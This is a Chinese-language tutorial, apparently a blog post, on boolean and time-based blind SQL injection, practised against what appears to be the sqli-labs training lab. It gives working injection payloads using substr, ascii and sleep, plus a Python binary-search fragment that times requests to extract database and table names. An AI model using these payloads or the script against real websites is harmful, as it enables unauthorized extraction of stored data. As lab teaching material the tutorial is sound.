boolen盲注和时间盲注

目录

名词解释:

布尔盲注

时间盲注

操作

一、boolen盲注


名词解释:

盲注是一种在数据库注入攻击中,当目标网站没有直接返回数据库查询结果的错误信息或查询结果时,攻击者通过构造特定的 SQL 语句,根据网站返回的间接信息(如页面的正常与否、响应时间等)来推断数据库中数据的技术。

布尔盲注

布尔盲注是基于布尔值(真或假)的判断来推断数据库信息的一种盲注方式。其原理是通过构造包含逻辑判断的 SQL 语句,根据网页返回的结果(比如页面正常显示或显示错误页面)来判断条件是否成立,进而逐步获取数据库中的数据。

  1. 判断注入点:首先需要确定目标网站存在 SQL 注入漏洞,并且是盲注类型的漏洞。可以通过输入一些特殊字符(如单引号、双引号等),观察页面的响应变化来初步判断。
  2. 构造布尔条件 :利用逻辑运算符(如ANDOR)构造条件语句。例如,构造AND ASCII(SUBSTRING((SELECT DATABASE()),1,1)) > 100这样的语句,该语句的含义是从数据库名称的第一个字符开始,获取其 ASCII 码值,并与 100 进行比较。如果比较结果为真,页面会返回正常显示的状态;如果为假,页面可能会返回错误或异常的显示状态。
  3. 逐步获取数据:通过不断改变比较的条件(如改变字符的位置、比较的 ASCII 码值等),逐步推断出数据库中的数据。例如,每次将字符位置加 1,直到获取完整的数据库名称、表名、列名以及数据内容等。

时间盲注

时间盲注是通过控制 SQL 语句的执行时间,根据页面的响应延迟来推断数据库信息的一种盲注方式。当构造的 SQL 语句满足特定条件时,数据库会执行一个耗时操作(如等待一定时间),根据页面响应时间的长短来判断条件是否成立。

具体步骤如下:

  1. 判断注入点:同样先确定目标网站存在 SQL 注入漏洞且适合时间盲注。
  2. 构造时间延迟条件 :使用数据库特定的函数来实现时间延迟。例如,在 MySQL 中可以使用SLEEP()函数,构造IF((SELECT ASCII(SUBSTRING(DATABASE(),1,1)) = 100), SLEEP(5), 0)这样的语句。该语句的含义是如果数据库名称的第一个字符的 ASCII 码值等于 100,则执行SLEEP(5)函数,使数据库等待 5 秒;否则返回 0,不进行延迟。
  3. 判断条件结果:通过观察页面的响应时间,如果页面响应时间明显增加(接近或超过 5 秒),则说明条件成立;如果页面响应时间正常,则说明条件不成立。
  4. 逐步获取数据:类似于布尔盲注,通过不断改变判断条件,逐步推断出数据库中的数据。

需要注意的是,SQL 注入攻击是一种非法的网络攻击行为,严重威胁到网站和数据库的安全。在实际应用中,网站开发者应采取有效的安全措施(如输入验证、参数化查询等)来防止 SQL 注入漏洞的出现。

操作

一、boolen盲注

1、输入id,是否有注入点

输入?id=1后,显示如图

2、输入?id=1'后,发现没有回显

3、判断字段数,?id=1' order by 3--+, 显示You are in...

4、联合查询, ?id=1' union select 1,2,3--+

通过以上尝试,猜有可能是boolen盲注

5、猜测数据库的长度

通过多次尝试,最终猜长度为8

6、获取数据库名称

ascii(substring(database(),1,1)) ------这里表示从数据库名第一位截取一位将其转化为ascii值。

通过截取字符串的方式。函数substr(string, start, length) 截取字符串,这个函数用来截取一个字符串从'start'位,可以是第1位、第2位、第3位,以此类推。每次截取'length'个字符。

输入:?id=1' and substr(database(),1,1)='s'--+ **------**因为不知道第一个字段是什么,所以需要0-9,a-z,A-Z都试一遍。最终确定第一个字段是s。

substring解释:

substring(database(),1,1):表示从数据库第一为开始截取一个字符

substring(database(),2,1):表示从数据库第二位开始截取一个字符

substring(database(),n,1):表示从数据库第n位开始截取一个字符

我们就可以通过这样的语句来一个一个字符的将它注入出来。不过手动注入麻烦代价又大,所以我们一般会写一个脚本来注入。

使用python进行布尔盲注:

使用python脚本注入:这个python脚本使用的是二分查找。

运行结果1:获取数据库名

运行结果2:获取所在数据库的表名

二、时间盲注

与第8关如出一辙,只是要修改请求时间。

1、判断是否存在注入点

输入:?id=1' and if(ascii(substr(database(),1,1))>110,sleep(3),0)--+ ------表示如果第一位的ascii值大于110就沉睡3秒,否则为假不会沉睡。通过左上角可知在沉睡,所以我们输入的为真。

2、猜测数据库长度

输入:?id=1' and if(length(database())=8,sleep(3),0)--+。如果数据库长度等于8,则页面沉睡3秒,如果数据库长度不等于8,则页面无反应。

3、获取数据库名称

首先测试输入:?id=1'and if(ascii(substr((select database()),1,1))='s',sleep(3),0)--+。如果数据库名称第一个字符是's',则页面沉睡3秒,否则没有反应。

使用python脚本来获取(时间会比较慢)。修改请求时间的代码:

python 复制代码
 while low < high:
            #查数据库名
#           urs = "1' and if ( ascii (substr(database(),%d,1)) > %d ,sleep(1),0 ) -- " %(i,mid)
            #查表名
            urs = "1' and if ( ascii(substring((select group_concat(table_name) from information_schema.tables  where table_schema='security'),%d,1)) > %d ,sleep(1),0 ) -- " %(i,mid)
#沉睡1秒,加快查询
            res = {"id":urs }
            #开始前的时间
            starttime=time.time()
            r = requests.get(url,params=res)
            #请求后的时间
            endtime=time.time()
            #如果向减大于1则说明为真。
            if endtime - starttime >= 1:
                low = mid+1
            else:
                high = mid
            mid = (low +high) // 2
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

4、获取表名

首先测试输入:?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=97,sleep(5),1)--+

此页面没有沉睡,说明表名首字母ascii值不为97

用python脚本获取表名

时间盲注的优先级不高,当字符数字注入、联合注入、报错注入、boolen盲注都不能使用时,再考虑时间盲注

从python脚本可发现效率低。

相关推荐
余衫马31 分钟前
CentOS7 离线安装 Postgresql 指南
数据库·postgresql
csbDD1 小时前
2025年网络安全(黑客技术)三个月自学手册
linux·网络·python·安全·web安全
E___V___E1 小时前
MySQL数据库入门到大蛇尚硅谷宋红康老师笔记 高级篇 part 2
数据库·笔记·mysql
m0_748254881 小时前
mysql之如何获知版本
数据库·mysql
EasyNVR2 小时前
EasyRTC智能硬件:实时畅联、沉浸互动、消音护航
运维·服务器·网络·安全·音视频·webrtc·p2p
mikey棒棒棒2 小时前
Redis——优惠券秒杀问题(分布式id、一人多单超卖、乐悲锁、CAS、分布式锁、Redisson)
数据库·redis·lua·redisson·watchdog·cas·并发锁
阿湯哥2 小时前
越权漏洞及其修复方法
网络·安全·web安全
水手胡巴3 小时前
oracle apex post接口
数据库·oracle
史迪仔01125 小时前
【SQL】SQL多表查询
数据库·sql
Quz6 小时前
MySQL:修改数据库默认存储目录与数据迁移
数据库·mysql